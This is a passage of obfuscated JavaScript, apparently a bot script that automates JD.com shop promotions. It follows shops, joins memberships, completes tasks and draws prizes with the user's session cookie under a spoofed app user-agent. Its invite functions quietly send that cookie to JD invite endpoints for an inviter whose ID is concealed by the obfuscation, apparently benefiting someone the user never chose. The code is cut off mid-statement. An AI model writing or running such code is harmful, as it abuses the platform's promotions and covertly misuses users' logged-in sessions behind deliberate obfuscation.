_0x5d9e0c(_0x2a4925);},'bCAoO':_0x3102('‫51','0cn&'),'lojme':_0x3102('‫52','$u&N'),'zPUOG':'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','RHZGl':_0x3102('‫53','7epy')};let _0x1349d2=Date[_0x3102('‫54','sg)U')]();let _0x515d00=_0x218499['AqqDH'];let _0x5152b8={'Host':_0x218499[_0x3102('‫55','#9UC')],'accept':_0x218499['eunIn'],'content-type':_0x218499[_0x3102('‫56','Hlgj')],'origin':_0x218499['nqfja'],'accept-language':_0x218499[_0x3102('‮57','o@0y')],'user-agent':$['isNode']()?process[_0x3102('‫58','bZAg')][_0x3102('‫59','AqFu')]?process['env'][_0x3102('‫5a','Zt7Z')]:_0x218499['upLty'](require,_0x218499[_0x3102('‮5b','Gi4A')])['USER_AGENT']:$['getdata'](_0x218499[_0x3102('‫5c','COiT')])?$['getdata'](_0x3102('‮5d','qhO@')):_0x218499[_0x3102('‮5e','[TKT')],'referer':_0x3102('‫5f','d3gl')+encodeURIComponent(_0x515d00),'Cookie':_0x3b6a2f};let _0x2d8d7d=_0x3102('‮60','J%J3')+_0x218499[_0x3102('‫61','Zt7Z')](encodeURIComponent,_0x515d00)+_0x3102('‫62','Zt7Z')+_0x1349d2;var _0x26f692={'url':_0x218499[_0x3102('‮63','FuOh')],'headers':_0x5152b8,'body':_0x2d8d7d};$[_0x3102('‮64','Li(D')](_0x26f692,(_0x1ebd0d,_0x302ed2,_0x14d196)=>{});}function invite3(_0x262d3e){var _0x50b4ba={'BALii':_0x3102('‫65','J%J3'),'vWIwL':'attendInviteActivity','jdHcJ':'api.m.jd.com','DtZVe':_0x3102('‮66','4IbD'),'eoFDf':_0x3102('‮67','qhO@'),'SJeop':_0x3102('‫68','o@0y'),'SCWKY':function(_0x15fdb5,_0x55f14c){return _0x15fdb5(_0x55f14c);},'PbpRE':'./JS_USER_AGENTS','QfLmT':'JSUA','DtBOS':_0x3102('‮69','AqFu')};let _0x2a5e47=+new Date();let _0x43adbf=[_0x50b4ba[_0x3102('‮6a','J5AU')]];let _0x4a72f5=_0x43adbf[Math['floor'](Math[_0x3102('‮6b','J5AU')]()*_0x43adbf['length'])];let _0x264cb0={'url':_0x3102('‮6c','hMf@')+_0x2a5e47,'body':_0x3102('‮6d','bgvS')+JSON[_0x3102('‮6e','z@TG')]({'method':_0x50b4ba['vWIwL'],'data':{'inviterPin':encodeURIComponent(_0x4a72f5),'channel':0x1,'token':'','frontendInitStatus':''}})+_0x3102('‫6f','qhO@')+_0x2a5e47,'headers':{'Host':_0x50b4ba[_0x3102('‮70','f52I')],'Accept':'application/json,\x20text/plain,\x20*/*','Content-type':_0x50b4ba[_0x3102('‮71','$u&N')],'Origin':_0x50b4ba[_0x3102('‮72','bZAg')],'Accept-Language':_0x50b4ba[_0x3102('‮73','[TKT')],'User-Agent':$[_0x3102('‮74','qhO@')]()?process[_0x3102('‮75','7epy')][_0x3102('‫76','XCf(')]?process[_0x3102('‫77','Gi4A')][_0x3102('‮78','Hlgj')]:_0x50b4ba['SCWKY'](require,_0x50b4ba[_0x3102('‮79','k6UV')])['USER_AGENT']:$[_0x3102('‫7a','sg)U')](_0x50b4ba[_0x3102('‫7b','J%J3')])?$[_0x3102('‫7c','J5AU')](_0x50b4ba[_0x3102('‫7d','4IbD')]):_0x50b4ba['DtBOS'],'Referer':_0x3102('‮7e','2K5g'),'Accept-Encoding':_0x3102('‫7f','(uuA'),'Cookie':_0x262d3e}};$[_0x3102('‮80','oulr')](_0x264cb0,(_0x35b43c,_0x5880de,_0x44dbda)=>{});}function invite4(_0x440dbf){var _0x2b5a7e={'GCQFA':function(_0x3d5696,_0x7b1094){return _0x3d5696*_0x7b1094;},'VfDQh':_0x3102('‮81','qBje'),'NPpkX':_0x3102('‮82','3(Uq'),'aYFki':'api.m.jd.com','pvFct':_0x3102('‫83','c[zw'),'duqaI':_0x3102('‫84','XCf('),'mpJzj':function(_0x30bbfb,_0x1add87){return _0x30bbfb(_0x1add87);},'ZEDCH':_0x3102('‮85','J%J3'),'aCEAi':_0x3102('‫86','qBje'),'oJjYH':'https://assignment.jd.com/','RWrmz':_0x3102('‫87','bgvS')};let _0x1015d0=[_0x3102('‮88','XCf(')];let _0x4fd291=_0x1015d0[Math[_0x3102('‮89','n(3f')](_0x2b5a7e[_0x3102('‫8a','EtQ#')](Math[_0x3102('‮6b','J5AU')](),_0x1015d0[_0x3102('‮8b','Zt7Z')]))];let _0x2f28b1={'url':_0x2b5a7e['VfDQh'],'body':_0x3102('‮8c','(uuA')+JSON[_0x3102('‫8d','(uuA')]({'method':_0x2b5a7e[_0x3102('‮8e','k6UV')],'data':{'channel':'1','encryptionInviterPin':encodeURIComponent(_0x4fd291),'type':0x1}})+'&appid=market-task-h5&uuid=&_t='+Date[_0x3102('‫8f','0cn&')](),'headers':{'Host':_0x2b5a7e['aYFki'],'Accept':_0x3102('‮90','oJKr'),'Content-Type':_0x2b5a7e[_0x3102('‮91','3(Uq')],'Origin':_0x3102('‮92','[TKT'),'Accept-Language':_0x2b5a7e[_0x3102('‮93','qBje')],'User-Agent':$[_0x3102('‮94','Li(D')]()?process[_0x3102('‫95','hMf@')][_0x3102('‮96','sg)U')]?process[_0x3102('‮97','Hlgj')]['JS_USER_AGENT']:_0x2b5a7e[_0x3102('‫98','4IbD')](require,_0x3102('‮99','J%J3'))[_0x3102('‮9a','2K5g')]:$[_0x3102('‫9b','k6UV')](_0x2b5a7e['ZEDCH'])?$[_0x3102('‫9c','J%J3')](_0x2b5a7e['ZEDCH']):_0x2b5a7e[_0x3102('‮9d','AqFu')],'Referer':_0x2b5a7e[_0x3102('‫9e','XCf(')],'Accept-Encoding':_0x2b5a7e[_0x3102('‫9f','n(3f')],'Cookie':_0x440dbf}};$[_0x3102('‫a0','hMf@')](_0x2f28b1,(_0x35df1e,_0x153eca,_0x5cf0a1)=>{});}async function runMain(_0x55e0d9){var _0x43644b={'KXEUD':function(_0x85ae8a,_0x3d994b){return _0x85ae8a===_0x3d994b;},'bsTFD':function(_0x326f7a,_0x24f2d3){return _0x326f7a+_0x24f2d3;},'mHTCR':function(_0x15bde1,_0x313ee0){return _0x15bde1+_0x313ee0;},'HiNbI':'giftLevel','xdLKW':function(_0x1b148f,_0x301663){return _0x1b148f(_0x301663);},'mwAMG':'JDUA','luqnW':_0x3102('‮a1','EtQ#'),'IAlMv':_0x3102('‮a2','0cn&'),'AypqX':'fThFB','SlYVx':function(_0x39d3db,_0x126875,_0x2dbdaa){return _0x39d3db(_0x126875,_0x2dbdaa);},'MEjdf':_0x3102('‮a3','EtQ#'),'gsQhN':function(_0xf9619e,_0x55a420,_0x5dcc45){return _0xf9619e(_0x55a420,_0x5dcc45);},'oErTH':_0x3102('‮a4','Hlgj'),'pRtOE':function(_0x1c5235,_0x20e7ab){return _0x1c5235!==_0x20e7ab;},'zWxwg':_0x3102('‮a5','qBje'),'xNGSM':_0x3102('‮a6','FuOh'),'AKNdg':_0x3102('‮a7','Hlgj'),'HBhGD':function(_0x4a1552,_0x3f4817,_0x398e1a){return _0x4a1552(_0x3f4817,_0x398e1a);},'azHNU':'wxActionCommon/getShopInfoVO','ammTr':function(_0x32ecf6,_0xa3c541,_0x51b5ff){return _0x32ecf6(_0xa3c541,_0x51b5ff);},'OXjJh':_0x3102('‫a8','TUqD'),'icdjy':function(_0x1a5145,_0x56f128){return _0x1a5145===_0x56f128;},'IhkaM':'lJolG','Rbaju':function(_0x1d10b8,_0x4a9eaf){return _0x1d10b8+_0x4a9eaf;},'uhefh':function(_0x8ce719,_0x34157b){return _0x8ce719<_0x34157b;},'YGfXs':function(_0x3667da,_0x16303e){return _0x3667da+_0x16303e;},'zaTxd':function(_0x503995,_0x2cef7f){return _0x503995+_0x2cef7f;},'qrZDR':function(_0x330527,_0x494952){return _0x330527+_0x494952;},'dOvkS':function(_0x27a24b,_0x2f00cd){return _0x27a24b+_0x2f00cd;},'nxVJG':function(_0x579ddc,_0x79aad8){return _0x579ddc+_0x79aad8;},'eeRtj':'One','cCvFr':_0x3102('‮a9','$u&N'),'btxtn':_0x3102('‫aa','COiT'),'pngHe':_0x3102('‮ab','f52I'),'vHPKv':function(_0x160dc2,_0x45f8d2){return _0x160dc2+_0x45f8d2;},'FnjWK':'BBZwu','AHTTA':function(_0x1de8be,_0x2e4520){return _0x1de8be===_0x2e4520;},'Qbnpl':function(_0x33797b,_0x27e965){return _0x33797b(_0x27e965);},'tVbay':function(_0x16e91c,_0x2a8f6c,_0x29e0df){return _0x16e91c(_0x2a8f6c,_0x29e0df);},'tbQJE':'wxFansInterActionActivity/activityContent','XBLCA':function(_0x2c75e7,_0x16b18f,_0x527ac9,_0x52cd22){return _0x2c75e7(_0x16b18f,_0x527ac9,_0x52cd22);},'JYuwD':function(_0x9cf844,_0xb6bca0){return _0x9cf844(_0xb6bca0);}};_0x55e0d9['UA']=_0x55e0d9[_0x3102('‮ac','RYmF')]()?process[_0x3102('‫ad','J%J3')][_0x3102('‫ae','OpYx')]?process[_0x3102('‮af','FuOh')][_0x3102('‫ae','OpYx')]:_0x43644b[_0x3102('‮b0','[TKT')](require,_0x3102('‮b1','Xxxm'))[_0x3102('‫b2','RYmF')]:_0x55e0d9[_0x3102('‫b3','bgvS')](_0x43644b[_0x3102('‫b4','RYmF')])?_0x55e0d9[_0x3102('‮b5','Zt7Z')](_0x43644b['mwAMG']):_0x43644b['luqnW'],_0x55e0d9[_0x3102('‫b6','4IbD')]='';_0x55e0d9[_0x3102('‫b7','sdz^')]='';_0x55e0d9[_0x3102('‮b8','FuOh')]='';_0x55e0d9[_0x3102('‮b9','hMf@')]='';_0x55e0d9[_0x3102('‮ba','p(IT')]='';_0x55e0d9[_0x3102('‮bb','Zt7Z')]='';_0x55e0d9[_0x3102('‫bc','bZAg')]='';_0x55e0d9['activityType']='';_0x55e0d9[_0x3102('‮bd','AqFu')]='https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png';console['log'](_0x3102('‮be','dt#Z')+_0x55e0d9['thisActivityUrl']);_0x55e0d9[_0x3102('‮bf','*m2]')]=_0x43644b[_0x3102('‮c0','2K5g')];_0x55e0d9['token']=await getToken(_0x55e0d9);if(!_0x55e0d9[_0x3102('‮c1','qBje')]){if(_0x3102('‮c2','R%hz')===_0x43644b[_0x3102('‮c3','o@0y')]){console[_0x3102('‮c4','#9UC')](_0x3102('‫c5','z@TG'));return;}else{const _0x241dee=url[_0x3102('‫c6','Hlgj')](/\?.*/)[0x0]['substring'](0x1);const _0x34b328=_0x241dee[_0x3102('‮c7','Li(D')]('&');for(let _0x5b3c78=0x0;_0x5b3c78<_0x34b328['length'];_0x5b3c78++){const _0x4f283d=_0x34b328[_0x5b3c78][_0x3102('‮c8','OpYx')]('=');if(_0x43644b[_0x3102('‫c9','sNao')](_0x4f283d[0x0],name)){return _0x34b328[_0x5b3c78]['substr'](_0x43644b['bsTFD'](_0x34b328[_0x5b3c78][_0x3102('‮ca','AqFu')]('='),0x1));}}return'';}}await _0x43644b[_0x3102('‫cb','bgvS')](getHtml,_0x55e0d9);if(!_0x55e0d9[_0x3102('‮cc','0cn&')]||!_0x55e0d9[_0x3102('‫cd','(uuA')]){console[_0x3102('‫ce','EtQ#')]('初始化失败1');return;}let _0x55dfd3=await _0x43644b[_0x3102('‮cf','Hlgj')](takePostRequest,_0x55e0d9,_0x43644b[_0x3102('‫d0','XCf(')]);_0x55e0d9[_0x3102('‫d1','n(3f')]=_0x55dfd3[_0x3102('‫d2','*m2]')]['venderId']||'';_0x55e0d9[_0x3102('‮d3','vitW')]=_0x55dfd3[_0x3102('‫d4','J5AU')][_0x3102('‮d5','Hlgj')]||'';console[_0x3102('‮d6','4IbD')]('venderId:'+_0x55e0d9['venderId']);let _0x4ef89c=await _0x43644b[_0x3102('‫d7','p(IT')](takePostRequest,_0x55e0d9,_0x43644b[_0x3102('‮d8','#9UC')]);_0x55e0d9[_0x3102('‫d9','z@TG')]=_0x4ef89c[_0x3102('‮da','2K5g')][_0x3102('‮db','3(Uq')];_0x55e0d9[_0x3102('‫dc','4IbD')]=_0x4ef89c[_0x3102('‮dd','[TKT')][_0x3102('‮de','sdz^')];if(!_0x55e0d9[_0x3102('‮df','4q7e')]){if(_0x43644b[_0x3102('‮e0','EtQ#')](_0x3102('‫e1','bgvS'),_0x43644b['zWxwg'])){console[_0x3102('‫e2','c[zw')](_0x3102('‮e3','qBje'));return;}else{console[_0x3102('‫e4','oulr')](_0x3102('‮e5','n(3f')+i[_0x3102('‫e6','tBOS')]+i[_0x3102('‫e7','bgvS')]+i['secondLineDesc']);}}await takePostRequest(_0x55e0d9,_0x43644b['xNGSM']);let _0x348a9d=await takePostRequest(_0x55e0d9,_0x43644b[_0x3102('‫e8','Gi4A')]);let _0x3f1e12=await _0x43644b[_0x3102('‮e9','k6UV')](takePostRequest,_0x55e0d9,_0x43644b[_0x3102('‫ea','[TKT')]);let _0x1ca12e=await _0x43644b[_0x3102('‮eb','n(3f')](takePostRequest,_0x55e0d9,_0x43644b['OXjJh']);if(_0x348a9d&&_0x348a9d[_0x3102('‫ec','d3gl')]&&_0x348a9d[_0x3102('‮ed','TUqD')][_0x3102('‫ee','Zt7Z')]){_0x55e0d9[_0x3102('‫ef','OpYx')]=_0x348a9d[_0x3102('‫f0','OpYx')]['yunMidImageUrl'];}let _0x440f9c=await _0x43644b[_0x3102('‮f1','*m2]')](takePostRequest,_0x55e0d9,_0x3102('‫f2','OGYu'));_0x55e0d9[_0x3102('‮f3','4q7e')]=_0x440f9c['data']||{};_0x55e0d9[_0x3102('‫f4','sNao')]=_0x55e0d9[_0x3102('‮f5','oJKr')]['actInfo'];_0x55e0d9[_0x3102('‫f6','bgvS')]=_0x55e0d9['activityData']['actorInfo'];_0x55e0d9[_0x3102('‫f7','sdz^')]=_0x43644b[_0x3102('‫f8','oulr')](Number,_0x55e0d9['actorInfo'][_0x3102('‮f9','n(3f')])+Number(_0x55e0d9['actorInfo'][_0x3102('‫fa','hMf@')]);if(JSON[_0x3102('‮fb','XCf(')](_0x55e0d9['activityData'])==='{}'){if(_0x43644b['icdjy'](_0x3102('‫fc','f52I'),_0x43644b[_0x3102('‮fd','OGYu')])){console[_0x3102('‮fe','k6UV')](_0x3102('‫ff','z@TG'));return;}else{console['log'](_0x3102('‫100','EtQ#'));return;}}let _0x14dd78=new Date(_0x55e0d9['activityData'][_0x3102('‮101','Li(D')]['endTime']);let _0x47a65e=_0x43644b['mHTCR'](_0x43644b[_0x3102('‮102','Xxxm')](_0x43644b[_0x3102('‫103','FuOh')](_0x14dd78[_0x3102('‮104','z@TG')](),'-'),_0x43644b[_0x3102('‫105','EtQ#')](_0x14dd78['getMonth'](),0xa)?_0x43644b[_0x3102('‫106','OpYx')]('0',_0x43644b[_0x3102('‫107','bZAg')](_0x14dd78['getMonth'](),0x1)):_0x43644b[_0x3102('‫108','d3gl')](_0x14dd78[_0x3102('‮109','FuOh')](),0x1))+'-',_0x14dd78[_0x3102('‮10a','J5AU')]()<0xa?'0'+_0x14dd78['getDate']():_0x14dd78[_0x3102('‮10b','AqFu')]());_0x14dd78=new Date(_0x55e0d9[_0x3102('‫10c','oulr')][_0x3102('‮10d','qBje')][_0x3102('‫10e','OGYu')]);let _0x5efa70=_0x43644b['zaTxd'](_0x43644b['qrZDR'](_0x43644b[_0x3102('‮10f','J5AU')](_0x14dd78[_0x3102('‫110','(uuA')](),'-')+(_0x14dd78['getMonth']()<0xa?_0x43644b[_0x3102('‮111','bgvS')]('0',_0x43644b['nxVJG'](_0x14dd78[_0x3102('‮112','n(3f')](),0x1)):_0x43644b[_0x3102('‫113','sdz^')](_0x14dd78[_0x3102('‮114','(uuA')](),0x1)),'-'),_0x43644b[_0x3102('‮115','d3gl')](_0x14dd78[_0x3102('‮116','hMf@')](),0xa)?_0x43644b[_0x3102('‫117','7epy')]('0',_0x14dd78[_0x3102('‫118','Hlgj')]()):_0x14dd78[_0x3102('‫119','0cn&')]());console[_0x3102('‮11a','$u&N')](_0x55e0d9[_0x3102('‮11b','sdz^')][_0x3102('‮11c','hMf@')]+','+_0x3f1e12['data'][_0x3102('‫11d','f52I')]+_0x3102('‮11e','tBOS')+_0x55e0d9[_0x3102('‫11f','3(Uq')]+_0x3102('‮120','XCf(')+_0x5efa70+_0x3102('‮121','XCf(')+_0x47a65e+','+_0x55e0d9[_0x3102('‫122','sNao')][_0x3102('‫123','f52I')][_0x3102('‫124','p(IT')]);let _0x3ce080=[];let _0x2b4f3e=[_0x43644b['eeRtj'],_0x3102('‮125','oulr'),_0x43644b[_0x3102('‫126','sdz^')]];for(let _0x9ade55=0x0;_0x9ade55<_0x2b4f3e[_0x3102('‮127','vitW')];_0x9ade55++){let _0x8831d2=_0x55e0d9['activityData'][_0x3102('‮128','d3gl')][_0x43644b[_0x3102('‮129','sNao')]+_0x2b4f3e[_0x9ade55]]||'';if(_0x8831d2){if(_0x43644b[_0x3102('‮12a','2K5g')]!==_0x43644b[_0x3102('‫12b','COiT')]){_0x8831d2=JSON[_0x3102('‮12c','EtQ#')](_0x8831d2);_0x3ce080[_0x3102('‮12d','n(3f')](_0x8831d2[0x0][_0x3102('‮12e','J5AU')]);}else{if(err){console[_0x3102('‮11a','$u&N')](''+JSON['stringify'](err));console[_0x3102('‫12f','vitW')](_0x55e0d9[_0x3102('‮130','TUqD')]+_0x3102('‮131','k6UV'));}else{data=JSON[_0x3102('‮132','z@TG')](data);}}}}console[_0x3102('‮133','n(3f')](_0x43644b['vHPKv']('奖品列表:',_0x3ce080[_0x3102('‫134','4IbD')]()));if(_0x55e0d9[_0x3102('‮135','sg)U')][_0x3102('‫136','d3gl')]&&_0x55e0d9[_0x3102('‫137','sNao')][_0x3102('‫138','vitW')]&&_0x55e0d9[_0x3102('‫139','Hlgj')][_0x3102('‮13a','tBOS')]){if(_0x43644b[_0x3102('‫13b','f52I')]!==_0x43644b[_0x3102('‮13c','hMf@')]){let _0x1fa91a=_0x55e0d9[_0x3102('‫13d','Zt7Z')][_0x3102('‫13e','Zt7Z')][_0x43644b['mHTCR'](_0x43644b[_0x3102('‮13f','7epy')],_0x2b4f3e[i])]||'';if(_0x1fa91a){_0x1fa91a=JSON[_0x3102('‫140','n(3f')](_0x1fa91a);_0x3ce080[_0x3102('‫141','bgvS')](_0x1fa91a[0x0][_0x3102('‮142','dt#Z')]);}}else{console[_0x3102('‮143','qBje')]('已完成抽奖');return;}}if(_0x43644b['AHTTA'](_0x1ca12e['data'][_0x3102('‫144','RYmF')],0x1)&&!_0x1ca12e[_0x3102('‮145','qBje')]['openCard']){console[_0x3102('‫146','COiT')](_0x3102('‮147','[TKT'));if(_0x43644b['xdLKW'](Number,RUHUI)===0x1){console['log'](_0x3102('‫148','k6UV'));await _0x43644b[_0x3102('‮149','4IbD')](join,_0x55e0d9);_0x440f9c=await _0x43644b[_0x3102('‫14a','FuOh')](takePostRequest,_0x55e0d9,_0x43644b[_0x3102('‫14b','oJKr')]);_0x55e0d9[_0x3102('‮f5','oJKr')]=_0x440f9c[_0x3102('‫14c','f52I')]||{};await _0x55e0d9['wait'](0xbb8);}else{console[_0x3102('‮143','qBje')]('不执行入会,跳出');return;}return;}else if(_0x1ca12e[_0x3102('‮dd','[TKT')]['openCard']){console[_0x3102('‫14d','Gi4A')](_0x3102('‮14e','c[zw'));}if(_0x55e0d9['activityData']['actorInfo']&&!_0x55e0d9['activityData'][_0x3102('‫14f','1M$7')]['follow']){console[_0x3102('‮150','Hlgj')](_0x3102('‫151','0cn&'));_0x55e0d9[_0x3102('‫152','sdz^')]=_0x3102('‮153','bZAg')+_0x55e0d9['activityId']+_0x3102('‮154','d3gl')+_0x55e0d9['activityData'][_0x3102('‮155','XCf(')]['uuid'];let _0x3bd575=await _0x43644b['XBLCA'](takePostRequest,_0x55e0d9,'wxFansInterActionActivity/followShop',_0x55e0d9[_0x3102('‮156','#9UC')]);console['log'](JSON[_0x3102('‫157','OpYx')](_0x3bd575));await _0x55e0d9[_0x3102('‮158','bgvS')](0xbb8);}_0x55e0d9[_0x3102('‮159','sdz^')]=![];await _0x43644b[_0x3102('‮15a','qhO@')](doTask,_0x55e0d9);await _0x43644b['JYuwD'](luckDraw,_0x55e0d9);}async function luckDraw(_0x4c6496){var _0x53a801={'lrqvv':function(_0x636e2f,_0x3b66b4){return _0x636e2f===_0x3b66b4;},'qXSXS':function(_0x4e470b,_0x4c9e43){return _0x4e470b!==_0x4c9e43;},'UtHhV':'LLZId','NoELl':'viSWZ','eRloW':_0x3102('‫15b','c[zw'),'wnHjE':function(_0x1d012c,_0x1d4477){return _0x1d012c+_0x1d4477;},'nNiaV':_0x3102('‫15c','Xxxm'),'XgIih':'Two','nwdyF':function(_0x2f2e9a,_0x2dd61f){return _0x2f2e9a<_0x2dd61f;},'HzixN':function(_0x4dfae1,_0x383de9){return _0x4dfae1!==_0x383de9;},'ufCNB':_0x3102('‮15d','oulr'),'QUjGU':_0x3102('‫15e','Gi4A'),'sjoOV':function(_0x5d62ab,_0x507486){return _0x5d62ab>=_0x507486;},'AayXD':'ZTwkz','qiMDR':function(_0x562725,_0x35f89b,_0x79a034,_0x488b82){return _0x562725(_0x35f89b,_0x79a034,_0x488b82);},'YwDYA':_0x3102('‮15f','AqFu')};if(_0x4c6496['upFlag']){if(_0x53a801[_0x3102('‮160','qhO@')](_0x53a801[_0x3102('‮161','OpYx')],_0x53a801['NoELl'])){activityData=await takePostRequest(_0x4c6496,_0x53a801['eRloW']);_0x4c6496[_0x3102('‫162','XCf(')]=activityData[_0x3102('‫d4','J5AU')]||{};await _0x4c6496['wait'](0xbb8);}else{const _0x3b4eb0=vars[i][_0x3102('‮163','4IbD')]('=');if(_0x53a801[_0x3102('‫164','tBOS')](_0x3b4eb0[0x0],name)){return vars[i][_0x3102('‫165','oJKr')](vars[i][_0x3102('‮166','qhO@')]('=')+0x1);}}}let _0xf7a07c=_0x53a801[_0x3102('‫167','OpYx')](Number(_0x4c6496[_0x3102('‫168','FuOh')]['actorInfo'][_0x3102('‫169','7epy')]),Number(_0x4c6496[_0x3102('‫16a','[TKT')][_0x3102('‫f6','bgvS')][_0x3102('‮16b','J%J3')]));let _0x1fa8df=[_0x53a801[_0x3102('‮16c','d3gl')],_0x53a801[_0x3102('‮16d','XCf(')],_0x3102('‮16e','3(Uq')];let _0x3694f5={'One':'01','Two':'02','Three':'03'};for(let _0x10cbe9=0x0;_0x53a801[_0x3102('‫16f','OpYx')](_0x10cbe9,_0x1fa8df[_0x3102('‫170','z@TG')]);_0x10cbe9++){if(_0x53a801['HzixN'](_0x53a801[_0x3102('‮171','sg)U')],_0x53a801['QUjGU'])){if(_0x53a801[_0x3102('‫172','OGYu')](_0xf7a07c,_0x4c6496[_0x3102('‮173','sg)U')][_0x3102('‫174','sNao')][_0x3102('‫175','2K5g')+_0x1fa8df[_0x10cbe9]])&&_0x4c6496[_0x3102('‮176','#9UC')][_0x3102('‮135','sg)U')][_0x3102('‮177','J5AU')+_0x1fa8df[_0x10cbe9]+_0x3102('‮178','dt#Z')]===![]){if(_0x53a801[_0x3102('‮179','J5AU')](_0x53a801[_0x3102('‫17a','FuOh')],_0x3102('‮17b','7epy'))){console[_0x3102('‫17c','7epy')](_0x3102('‫17d','sNao')+Number(_0x3694f5[_0x1fa8df[_0x10cbe9]])+_0x3102('‮17e','XCf('));_0x4c6496[_0x3102('‮17f','J%J3')]=_0x3102('‫180','tBOS')+_0x4c6496['activityId']+_0x3102('‫181','4q7e')+_0x4c6496[_0x3102('‫162','XCf(')][_0x3102('‮182','#9UC')]['uuid']+_0x3102('‫183','z@TG')+_0x3694f5[_0x1fa8df[_0x10cbe9]];let _0x56a425=await _0x53a801[_0x3102('‫184','tBOS')](takePostRequest,_0x4c6496,_0x53a801[_0x3102('‫185','TUqD')],_0x4c6496[_0x3102('‫186','FuOh')]);if(_0x56a425[_0x3102('‮187','(uuA')]&&_0x53a801[_0x3102('‮188','*m2]')](_0x56a425[_0x3102('‫189','c[zw')],0x0)){let _0x3be5d9=_0x56a425['data'];if(!_0x3be5d9[_0x3102('‮18a','(uuA')]){console['log'](_0x3102('‫18b','J%J3'));}else{console['log'](_0x3102('‮18c','3(Uq')+_0x3be5d9[_0x3102('‫18d','R%hz')]);message+=_0x4c6496[_0x3102('‮18e','sdz^')]+',获得:'+(_0x3be5d9[_0x3102('‮18f','Li(D')]||'未知')+'\x0a';}}else{if(_0x53a801[_0x3102('‫190','bgvS')](_0x3102('‫191','[TKT'),'XJCdS')){console['log'](_0x3102('‮192','sg)U'));}else{console[_0x3102('‮193','dt#Z')]('已完成抽奖');return;}}console[_0x3102('‮194','1M$7')](JSON[_0x3102('‫195','qBje')](_0x56a425));await _0x4c6496['wait'](0xbb8);}else{_0x4c6496[_0x3102('‫196','COiT')]=useInfo[_0x3102('‮197','oJKr')][_0x3102('‮198','[TKT')];}}}else{_0x4c6496[_0x3102('‫199','oulr')]();}}}async function doTask(_0x3ed92d){var _0xc20637={'fxIHp':_0x3102('‫19a','bgvS'),'ZKLiL':_0x3102('‮19b','Hlgj'),'ZbNwm':_0x3102('‮19c','AqFu'),'XjZkS':function(_0x2d68b5,_0xd1baca){return _0x2d68b5(_0xd1baca);},'iGdby':_0x3102('‫19d','7epy'),'lMDca':_0x3102('‮19e','sdz^'),'teqjC':_0x3102('‮66','4IbD'),'xZCIh':_0x3102('‮19f','f52I'),'FQuDo':'zh-CN,zh-Hans;q=0.9','RNRQg':function(_0x35095e,_0x1d8663){return _0x35095e(_0x1d8663);},'jUkhb':'./JS_USER_AGENTS','oYQYE':_0x3102('‮1a0','#9UC'),'xeVFP':'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','qMYSX':function(_0x4cf7aa,_0x3dfcaf){return _0x4cf7aa>_0x3dfcaf;},'YwiVB':_0x3102('‮1a1','J%J3'),'TDesB':function(_0x35c60e,_0x3ba9b4){return _0x35c60e+_0x3ba9b4;},'Xcook':_0x3102('‫1a2','AqFu'),'CWqFC':_0x3102('‮1a3','0cn&'),'VtSSe':function(_0xb6ea31,_0x4418df){return _0xb6ea31==_0x4418df;},'cXqOV':function(_0x475f62,_0x15a3f1){return _0x475f62!==_0x15a3f1;},'lHaKa':'wFQPM','wfrOv':_0x3102('‮1a4','4q7e'),'HxVUd':function(_0x36a551,_0x4202e4){return _0x36a551===_0x4202e4;},'IvEAR':_0x3102('‮1a5','f52I'),'MaQxj':function(_0x41c6f2,_0x257b0b){return _0x41c6f2(_0x257b0b);},'JykYd':function(_0x444fdf,_0x5259e1){return _0x444fdf<_0x5259e1;},'vQgSE':function(_0x5d14af,_0x34f4dd){return _0x5d14af!==_0x34f4dd;},'NNTKH':_0x3102('‫1a6','7epy'),'zcJkc':'RbXTc','cPEwH':function(_0x37887a,_0x537cb2,_0x4c4d65,_0x403878){return _0x37887a(_0x537cb2,_0x4c4d65,_0x403878);},'VXIvV':'wxFansInterActionActivity/doBrowGoodsTask','ctyrh':function(_0x3ed905,_0x55c9e5){return _0x3ed905-_0x55c9e5;},'JQMxx':function(_0x895ede,_0xf84860){return _0x895ede(_0xf84860);},'rqQtg':_0x3102('‫1a7','COiT'),'ooeAJ':'SuBoq','LhFVX':function(_0xd6e015,_0x2c23b1,_0x18c08a,_0x3ffd41){return _0xd6e015(_0x2c23b1,_0x18c08a,_0x3ffd41);},'lgstp':_0x3102('‮1a8','Zt7Z'),'skBek':function(_0x24e342,_0x51b9ff){return _0x24e342!==_0x51b9ff;},'OvAsQ':function(_0x3ba6b1,_0x2c009e){return _0x3ba6b1(_0x2c009e);},'rvTPk':function(_0x5cb859,_0x49de05){return _0x5cb859>_0x49de05;},'refGN':'wkzIf','luxQa':function(_0x423556,_0x2f4928,_0x28d8cb,_0x3d7203){return _0x423556(_0x2f4928,_0x28d8cb,_0x3d7203);},'iKGOy':function(_0x2186cf,_0x4fa833){return _0x2186cf!==_0x4fa833;},'frDhF':'jblhm','ajmwv':function(_0x5d34be,_0x121eaf,_0x4a9e89,_0x5e8e94){return _0x5d34be(_0x121eaf,_0x4a9e89,_0x5e8e94);},'CCxAw':'wxFansInterActionActivity/doSign','SknvR':_0x3102('‫1a9','tBOS'),'abMOz':'UfyrK','NqNjO':'ovsKf','dzMwS':function(_0x3be998,_0x406901){return _0x3be998!==_0x406901;},'UWAWk':_0x3102('‮1aa','J5AU'),'aRFWK':'UlTIV','DSTgE':_0x3102('‮1ab','#9UC'),'vZRbP':_0x3102('‫1ac','FuOh'),'iXgIX':_0x3102('‫1ad','Xxxm'),'Mtvqj':function(_0x5f4550,_0x3280e9){return _0x5f4550!==_0x3280e9;},'RNfoH':_0x3102('‫1ae','qhO@'),'cKNsy':function(_0xe01a3e,_0x449680){return _0xe01a3e!==_0x449680;},'kLxDp':'EWLSc','GzMYu':function(_0x398a21,_0x177634,_0x4f6971,_0x264467){return _0x398a21(_0x177634,_0x4f6971,_0x264467);},'nBgEy':function(_0xef03fe,_0x54942c){return _0xef03fe===_0x54942c;},'wlsLR':'xMmLv','MakqP':_0x3102('‫1af','TUqD')};let 